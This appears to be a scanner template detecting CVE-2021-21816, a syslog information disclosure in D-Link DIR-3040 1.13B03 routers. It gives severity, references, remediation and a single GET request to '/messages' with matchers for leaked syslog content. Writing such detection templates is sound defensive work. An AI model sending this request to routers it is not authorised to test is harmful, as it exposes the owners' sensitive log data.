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id : CVE-2021-21816
info :
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name : D-Link DIR-3040 1.13B03 - Information Disclosure
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author : gy741
severity : medium
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description : D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
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impact : |
An attacker can exploit this vulnerability to gain sensitive information from the router, potentially leading to further attacks.
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remediation : |
Upgrade the router firmware to the latest version provided by D-Link.
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reference :
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21816
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
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cvss-score : 4.3
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cve-id : CVE-2021-21816
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cwe-id : CWE-200
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epss-score : 0.00255
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epss-percentile : 0.6322
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cpe : cpe:2.3:o:dlink:dir-3040_firmware:1.13b03:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : dlink
product : dir-3040_firmware
tags : cve,cve2021,dlink,exposure,router,syslog
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http :
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- method : GET
path :
- "{{BaseURL}}/messages"
matchers-condition : and
matchers :
- type : word
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part : body
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words :
- "syslog:"
- "admin"
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- "/etc_ro/lighttpd/www"
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condition : and
- type : status
status :
- 200
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